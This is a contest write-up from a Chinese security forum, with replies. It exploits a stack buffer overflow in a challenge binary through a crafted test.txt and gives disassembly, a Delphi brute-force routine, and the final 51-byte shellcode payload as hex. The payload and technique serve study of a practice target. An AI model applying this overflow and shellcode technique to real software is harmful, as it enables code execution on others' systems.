首页
社区
课程
招聘
[原创]我的第二轮比赛第一题解题思路(51bytes)
2007-8-31 00:06 9539

[原创]我的第二轮比赛第一题解题思路(51bytes)

2007-8-31 00:06
9539
看完题目要求,因为是修改弹出窗口显示内容,所以用ollydbg加载exlpoitme.exe,下MessageBoxA断点。
点击按钮后断下来以后返回程序代码,得到如下程序段:
004002F6  /$  55            PUSH EBP
004002F7  |.  8BEC          MOV EBP,ESP
004002F9  |.  83EC 10       SUB ESP,10
004002FC  |.  56            PUSH ESI
004002FD  |.  57            PUSH EDI
004002FE  |.  33FF          XOR EDI,EDI
00400300  |.  8D4D F0       LEA ECX,DWORD PTR SS:[EBP-10]
00400303  |.  33F6          XOR ESI,ESI
00400305  |.  897D FC       MOV DWORD PTR SS:[EBP-4],EDI
00400308  |.  897D F8       MOV DWORD PTR SS:[EBP-8],EDI
0040030B  |.  E8 60010000   CALL ExploitM.00400470
00400310  |.  68 6C024000   PUSH ExploitM.0040026C                           ;  ASCII "test.txt"
00400315  |.  8D4D F0       LEA ECX,DWORD PTR SS:[EBP-10]
00400318  |.  E8 63010000   CALL ExploitM.00400480
0040031D  |.  85C0          TEST EAX,EAX
0040031F  |.  74 64         JE SHORT ExploitM.00400385
00400321  |.  8D45 FC       LEA EAX,DWORD PTR SS:[EBP-4]
00400324  |.  8D4D F0       LEA ECX,DWORD PTR SS:[EBP-10]
00400327  |.  50            PUSH EAX
00400328  |.  E8 D3010000   CALL ExploitM.00400500
0040032D  |.  85C0          TEST EAX,EAX
0040032F  |.  74 54         JE SHORT ExploitM.00400385                       ; 判断文件是否打开
00400331  |.  8B4D FC       MOV ECX,DWORD PTR SS:[EBP-4]
00400334  |.  83F9 08       CMP ECX,8
00400337  |.  7E 4C         JLE SHORT ExploitM.00400385                      ; 判断文件大小是否>0
00400339  |.  B8 00100000   MOV EAX,1000
0040033E  |.  3BC8          CMP ECX,EAX
00400340  |.  7F 43         JG SHORT ExploitM.00400385                       ; 判断文件大小是否<1000H
00400342  |.  6A 40         PUSH 40                                          ; /Protect = PAGE_EXECUTE_READWRITE
00400344  |.  41            INC ECX                                          ; |
00400345  |.  50            PUSH EAX                                         ; |AllocationType => MEM_COMMIT
00400346  |.  51            PUSH ECX                                         ; |Size
00400347  |.  57            PUSH EDI                                         ; |Address
00400348  |.  FF15 24024000 CALL DWORD PTR DS:[<&KERNEL32.VirtualAlloc>]     ; \VirtualAlloc
0040034E  |.  8BF0          MOV ESI,EAX
00400350  |.  3BF7          CMP ESI,EDI
00400352  |.  74 31         JE SHORT ExploitM.00400385
00400354  |.  8D45 F8       LEA EAX,DWORD PTR SS:[EBP-8]
00400357  |.  53            PUSH EBX
00400358  |.  50            PUSH EAX
00400359  |.  56            PUSH ESI
0040035A  |.  FF75 FC       PUSH DWORD PTR SS:[EBP-4]
0040035D  |.  8D4D F0       LEA ECX,DWORD PTR SS:[EBP-10]
00400360  |.  E8 AB010000   CALL ExploitM.00400510
00400365  |.  8D4D F0       LEA ECX,DWORD PTR SS:[EBP-10]
00400368  |.  8BD8          MOV EBX,EAX
0040036A  |.  E8 61010000   CALL ExploitM.004004D0
0040036F  |.  3BDF          CMP EBX,EDI
00400371  |.  5B            POP EBX
00400372  |.  74 11         JE SHORT ExploitM.00400385
00400374  |.  8B45 FC       MOV EAX,DWORD PTR SS:[EBP-4]
00400377  |.  3945 F8       CMP DWORD PTR SS:[EBP-8],EAX
0040037A  |.  75 09         JNZ SHORT ExploitM.00400385
0040037C  |.  50            PUSH EAX
0040037D  |.  56            PUSH ESI
0040037E  |.  E8 FDFEFFFF   CALL ExploitM.00400280
00400383  |.  59            POP ECX
00400384  |.  59            POP ECX
00400385  |>  57            PUSH EDI                                         ; /Style
00400386  |.  68 68024000   PUSH ExploitM.00400268                           ; |Title = "Try"
0040038B  |.  68 60024000   PUSH ExploitM.00400260                           ; |Text = "Failed!"
00400390  |.  57            PUSH EDI                                         ; |hOwner
00400391  |.  FF15 4C024000 CALL DWORD PTR DS:[<&USER32.MessageBoxA>]        ; \MessageBoxA
00400397  |.  8D4D F0       LEA ECX,DWORD PTR SS:[EBP-10]
0040039A  |.  E8 31010000   CALL ExploitM.004004D0
0040039F  |.  3BF7          CMP ESI,EDI
004003A1  |.  74 0D         JE SHORT ExploitM.004003B0
004003A3  |.  68 00800000   PUSH 8000                                        ; /FreeType = MEM_RELEASE
004003A8  |.  57            PUSH EDI                                         ; |Size
004003A9  |.  56            PUSH ESI                                         ; |Address
004003AA  |.  FF15 20024000 CALL DWORD PTR DS:[<&KERNEL32.VirtualFree>]      ; \VirtualFree
004003B0  |>  8D4D F0       LEA ECX,DWORD PTR SS:[EBP-10]
004003B3  |.  E8 38010000   CALL ExploitM.004004F0
004003B8  |.  6A 01         PUSH 1
004003BA  |.  58            POP EAX
004003BB  |.  5F            POP EDI
004003BC  |.  5E            POP ESI
004003BD  |.  C9            LEAVE
004003BE  \.  C3            RETN

根本就没有显示"OK!"的分支,所以显然是要修改400260和400268里面的输出内容了。
而且得到很重要的提示:test.txt
于是构造test.txt,里面内容"1234567890"先分析。
打开test.txt后,判断了文件大小,需要8<文件大小<1000H
VirtualAlloc后,把文件内容读入,地址保存在ESI
对ESI里的内容下内存断点,断下后返回,发现是从
0040037C  |.  50            PUSH EAX
0040037D  |.  56            PUSH ESI
0040037E  |.  E8 FDFEFFFF   CALL ExploitM.00400280

这里进去的,那就看看400280的代码内容是什么。
00400280  /$  55                   PUSH EBP
00400281  |.  8BEC                 MOV EBP,ESP
00400283  |.  83EC 2C              SUB ESP,2C
00400286  |.  8065 D4 00           AND BYTE PTR SS:[EBP-2C],0
0040028A  |.  56                   PUSH ESI
0040028B  |.  57                   PUSH EDI
0040028C  |.  6A 0A                PUSH 0A
0040028E  |.  59                   POP ECX
0040028F  |.  33C0                 XOR EAX,EAX
00400291  |.  8D7D D5              LEA EDI,DWORD PTR SS:[EBP-2B]
00400294  |.  837D 0C 00           CMP DWORD PTR SS:[EBP+C],0
00400298  |.  F3:AB                REP STOS DWORD PTR ES:[EDI]
0040029A  |.  66:AB                STOS WORD PTR ES:[EDI]
0040029C  |.  AA                   STOS BYTE PTR ES:[EDI]
0040029D  |.  7C 51                JL SHORT ExploitM.004002F0
0040029F  |.  8B75 08              MOV ESI,DWORD PTR SS:[EBP+8]
004002A2  |.  68 A802CC78          PUSH 78CC02A8
004002A7  |.  68 1B8F9469          PUSH 69948F1B
004002AC  |.  FF76 04              PUSH DWORD PTR DS:[ESI+4]
004002AF  |.  FF36                 PUSH DWORD PTR DS:[ESI]
004002B1  |.  E8 0A030000          CALL ExploitM.004005C0
004002B6  |.  68 82FFE65B          PUSH 5BE6FF82
004002BB  |.  68 854716A5          PUSH A5164785
004002C0  |.  52                   PUSH EDX
004002C1  |.  50                   PUSH EAX
004002C2  |.  E8 79020000          CALL ExploitM.00400540
004002C7  |.  6A 04                PUSH 4
004002C9  |.  8BCE                 MOV ECX,ESI
004002CB  |.  5F                   POP EDI
004002CC  |>  8031 1C              /XOR BYTE PTR DS:[ECX],1C
004002CF  |.  8A11                 |MOV DL,BYTE PTR DS:[ECX]
004002D1  |.  3051 01              |XOR BYTE PTR DS:[ECX+1],DL
004002D4  |.  41                   |INC ECX
004002D5  |.  41                   |INC ECX
004002D6  |.  4F                   |DEC EDI
004002D7  |.^ 75 F3                \JNZ SHORT ExploitM.004002CC
004002D9  |.  6A 1A                PUSH 1A
004002DB  |.  59                   POP ECX
004002DC  |.  2BC8                 SUB ECX,EAX
004002DE  |.  0FAFC8               IMUL ECX,EAX
004002E1  |.  81E9 9C000000        SUB ECX,9C
004002E7  |.  85C9                 TEST ECX,ECX
004002E9  |.  7E 05                JLE SHORT ExploitM.004002F0
004002EB  |.  8D7D D4              LEA EDI,DWORD PTR SS:[EBP-2C]
004002EE  |.  F3:A5                REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
004002F0  |>  5F                   POP EDI
004002F1  |.  33C0                 XOR EAX,EAX
004002F3  |.  5E                   POP ESI
004002F4  |.  C9                   LEAVE
004002F5  \.  C3                   RETN

对代码的整理流程分析,发现4002EE这个REP MOVSD就是溢出点,把文件内容搬到EBP-2C的地方,如果覆盖了堆栈中的返回地址,就完成了溢出。
决定搬移数据大小的是ECX,往回分析,ECX=(1AH-EAX)*EAX-9CH,看来是EAX决定了ECX的值,针对EAX来进行分析。
代码4002CC到4002D7虽然修改了前8个字节,但这里并不会对EAX有任何修改,暂时忽略,继续往上。
代码4002AC和4002AF取了文件前8个字节,进下面的程序里看看:
004005C0  /$  8B4424 08            MOV EAX,DWORD PTR SS:[ESP+8]
004005C4  |.  8B4C24 10            MOV ECX,DWORD PTR SS:[ESP+10]
004005C8  |.  0BC8                 OR ECX,EAX
004005CA  |.  8B4C24 0C            MOV ECX,DWORD PTR SS:[ESP+C]
004005CE  |.  75 09                JNZ SHORT ExploitM.004005D9
004005D0  |.  8B4424 04            MOV EAX,DWORD PTR SS:[ESP+4]
004005D4  |.  F7E1                 MUL ECX
004005D6  |.  C2 1000              RETN 10
004005D9  |>  53                   PUSH EBX
004005DA  |.  F7E1                 MUL ECX
004005DC  |.  8BD8                 MOV EBX,EAX
004005DE  |.  8B4424 08            MOV EAX,DWORD PTR SS:[ESP+8]
004005E2  |.  F76424 14            MUL DWORD PTR SS:[ESP+14]
004005E6  |.  03D8                 ADD EBX,EAX
004005E8  |.  8B4424 08            MOV EAX,DWORD PTR SS:[ESP+8]
004005EC  |.  F7E1                 MUL ECX
004005EE  |.  03D3                 ADD EDX,EBX
004005F0  |.  5B                   POP EBX
004005F1  \.  C2 1000              RETN 10

前面的那个跳转因为ECX是从不为0的常数OR得到,所以必然发生跳转。
后面的代码可以看出,整体就是进行了一次Int64的乘法操作,返回继续分析。
4002C2用前面的Int64乘法操作作为参数,进去看看:
00400540  /$  53                   PUSH EBX
00400541  |.  8B4424 14            MOV EAX,DWORD PTR SS:[ESP+14]
00400545  |.  0BC0                 OR EAX,EAX
00400547  |.  75 18                JNZ SHORT ExploitM.00400561
00400549  |.  8B4C24 10            MOV ECX,DWORD PTR SS:[ESP+10]
0040054D  |.  8B4424 0C            MOV EAX,DWORD PTR SS:[ESP+C]
00400551  |.  33D2                 XOR EDX,EDX
00400553  |.  F7F1                 DIV ECX
00400555  |.  8B4424 08            MOV EAX,DWORD PTR SS:[ESP+8]
00400559  |.  F7F1                 DIV ECX
0040055B  |.  8BC2                 MOV EAX,EDX
0040055D  |.  33D2                 XOR EDX,EDX
0040055F  |.  EB 50                JMP SHORT ExploitM.004005B1
00400561  |>  8BC8                 MOV ECX,EAX
00400563  |.  8B5C24 10            MOV EBX,DWORD PTR SS:[ESP+10]
00400567  |.  8B5424 0C            MOV EDX,DWORD PTR SS:[ESP+C]
0040056B  |.  8B4424 08            MOV EAX,DWORD PTR SS:[ESP+8]
0040056F  |>  D1E9                 /SHR ECX,1
00400571  |.  D1DB                 |RCR EBX,1
00400573  |.  D1EA                 |SHR EDX,1
00400575  |.  D1D8                 |RCR EAX,1
00400577  |.  0BC9                 |OR ECX,ECX
00400579  |.^ 75 F4                \JNZ SHORT ExploitM.0040056F
0040057B  |.  F7F3                 DIV EBX
0040057D  |.  8BC8                 MOV ECX,EAX
0040057F  |.  F76424 14            MUL DWORD PTR SS:[ESP+14]
00400583  |.  91                   XCHG EAX,ECX
00400584  |.  F76424 10            MUL DWORD PTR SS:[ESP+10]
00400588  |.  03D1                 ADD EDX,ECX
0040058A  |.  72 0E                JB SHORT ExploitM.0040059A
0040058C  |.  3B5424 0C            CMP EDX,DWORD PTR SS:[ESP+C]
00400590  |.  77 08                JA SHORT ExploitM.0040059A
00400592  |.  72 0E                JB SHORT ExploitM.004005A2
00400594  |.  3B4424 08            CMP EAX,DWORD PTR SS:[ESP+8]
00400598  |.  76 08                JBE SHORT ExploitM.004005A2
0040059A  |>  2B4424 10            SUB EAX,DWORD PTR SS:[ESP+10]
0040059E  |.  1B5424 14            SBB EDX,DWORD PTR SS:[ESP+14]
004005A2  |>  2B4424 08            SUB EAX,DWORD PTR SS:[ESP+8]
004005A6  |.  1B5424 0C            SBB EDX,DWORD PTR SS:[ESP+C]
004005AA  |.  F7DA                 NEG EDX
004005AC  |.  F7D8                 NEG EAX
004005AE  |.  83DA 00              SBB EDX,0
004005B1  |>  5B                   POP EBX
004005B2  \.  C2 1000              RETN 10

一开始的跳转也是必然发生的,40056F到400579的代码将常数与上一步的结果进行了相同的移位。
然后除以EBX
这个过程就是将EDX与EAX里的Int64除以5BE6FF82A5164785,
在输入Int64未知的情况假设所有可能的取值范围,商(EAX)只能是0、1、2。
代码40057D到400583由于ECX临时保存了EAX的值,忽略
代码400584是乘以常数A5164785,所以这里EAX只可能为0、A5164785、4A2C8F0A三种情况。
代码40059A减去输入参数的乘积低32位,即输入时的EAX值
代码4005AC取反,所以整个函数就是EAX=EAX-(0、A5164785、4A2C8F0A)。
因为前面的乘积EDX是高位,因此txt文件的4到8字节只决定了上面的商是0、1、2的变化,0到3字节决定了EAX的基本值。

至此,分析基本完成,期望得到的ECX已经可以由程序穷举来获得。
最小可以覆盖到堆栈里的返回地址的ECX为0DH,也就是13个32bit字。
通过程序穷举低位,得到低位为33B5H,几次尝试就得到高位为2时,可以让ECX为指定值。
返回地址的期望代码为JMP/CALL ESI,JMP/CALL [ESP/ESI+xxh]
优先在程序代码中查找,这样与操作系统可以基本无关,在kernel32.dll,user32.dll等系统dll中查找次之。
结果在代码中查找到
004002B8  |?  FFE6          JMP ESI

故选择此处为RETN的返回地址
于是开始构造数据test.txt为:
00000000h: B5 33 00 00 02 00 00 00 00 00 00 00 00 00 00 00 
00000010h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00000020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00000030h: B8 02 40 00                                     

因为在执行到4002F5 RETN时,ESI开头部分已经被代码4002CC到4002D7修改,于是下断点观察修改后代码:
009B0000    A9 9A1C1C1E     TEST EAX,1E1C1C9A
009B0005    1E              PUSH DS
009B0006    1C 1C           SBB AL,1C

这些数据作为代码可以执行,只要POP DS就可以抵消该处数据转换为代码带来的影响。
于是添加代码
009B0008    1F                          POP DS                                   ; 段寄存器更改
009B0009    C705 60024000 4F4B2100      MOV DWORD PTR DS:[400260],214B4F         ; "OK!"
009B0013    C705 68024000 4F4B2100      MOV DWORD PTR DS:[400268],214B4F         ; "OK!"
009B001D    8D6C24 20                   LEA EBP,DWORD PTR SS:[ESP+20]            ; 修复被覆盖的EBP值,否则点OK后出错
009B0021  - FF66 24                     JMP DWORD PTR DS:[ESI+24]                ; 就是后面地址ESI+24所保存的原返回地址400383
009B0024    8303 40                     ADD DWORD PTR DS:[EBX],40

因为最后一位00为填充默认值,所以缩减为51字节,得到最终的test.txt:
00000000h: B5 33 00 00 02 00 00 00 1F C7 05 60 02 40 00 4F
00000010h: 4B 21 00 C7 05 68 02 40 00 4F 4B 21 00 8D 6C 24
00000020h: 20 FF 66 24 83 03 40 00 00 00 00 00 00 00 00 00
00000030h: B8 02 40                                       


总结:因为经验还是不足,一开始认为堆栈地址固定,最开始还直接把RETN返回地址修改为堆栈段的绝对地址,
但是还忽略了EBP被覆盖的值也是覆盖数据,所以变成了固定值。
RETN的返回地址必须是绝对地址才能可靠,一定不能是堆栈段内的地址,并且注意恢复EBP的值。

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞7
打赏
分享
最新回复 (14)
雪    币: 212
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
jhjzero 1 2007-8-31 00:08
2
0
附上穷举用Delphi代码
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  i:Int64;
  c1:Int64;
  t1:Int64;
  v:DWORD;
  r, r1:DWORD;
begin
  c1:=$78CC02A869948F1B;
  i:=0;
  while true do begin
    t1:=(i*c1) and $FFFFFFFF;
    v:=t1;
    r1:=v-$00000000; r:=($1A-r1)*r1-$9C;
    if r=$D then showmessage('1:'+Inttohex(i,8));
    r1:=v-$A5164785; r:=($1A-r1)*r1-$9C;
    if r=$D then showmessage('2:'+Inttohex(i,8));
    r1:=v-$4A2C8F0A; r:=($1A-r1)*r1-$9C;
    if r=$D then showmessage('3:'+Inttohex(i,8));
    inc(i);
    if i>=$100000000 then begin
      showmessage('failed');
      break;
    end;
  end;
end;

end.
雪    币: 6073
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 26 2007-8-31 00:33
3
0
很大,非常好。
我顶
雪    币: 226
活跃值: (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
十三少 2 2007-8-31 00:36
4
0
很好,非常大。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bwin 2007-8-31 00:54
5
0
看不懂 
幸好还可以顶
雪    币: 260
活跃值: (102)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
firefly 4 2007-8-31 08:59
6
0
果然是穷举!够强大,很好。
用的jmp esi,学习了!
雪    币: 154
活跃值: (70)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
icefall 1 2007-8-31 09:00
7
0
原来可以用jmp esi  学习了
雪    币: 105
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
老纳 2007-8-31 22:06
8
0
雪    币: 107
活跃值: (11)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
ykzhujiang 1 2007-8-31 22:44
9
0
雪    币: 274
活跃值: (85)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
chsml 1 2007-8-31 23:51
10
0
原来是马甲 哈哈
雪    币: 267
活跃值: (22)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
studentXP 1 2007-9-1 11:02
11
0
太好了,经典
雪    币: 178
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jsjcjsjc 2007-9-3 21:57
12
0
jmp esi?牛啊
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
壹个老虎 2007-9-3 23:57
13
0
好大的数字
雪    币: 107
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
thrashkiller 2007-9-4 22:09
14
0
这位我得顶。。。。下顿还是你请
雪    币: 207
活跃值: (14)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
dragonyjd 1 2007-9-4 22:35
15
0
学习了,真是高手阿.干净精炼。pfpf
游客
登录 | 注册 方可回帖
返回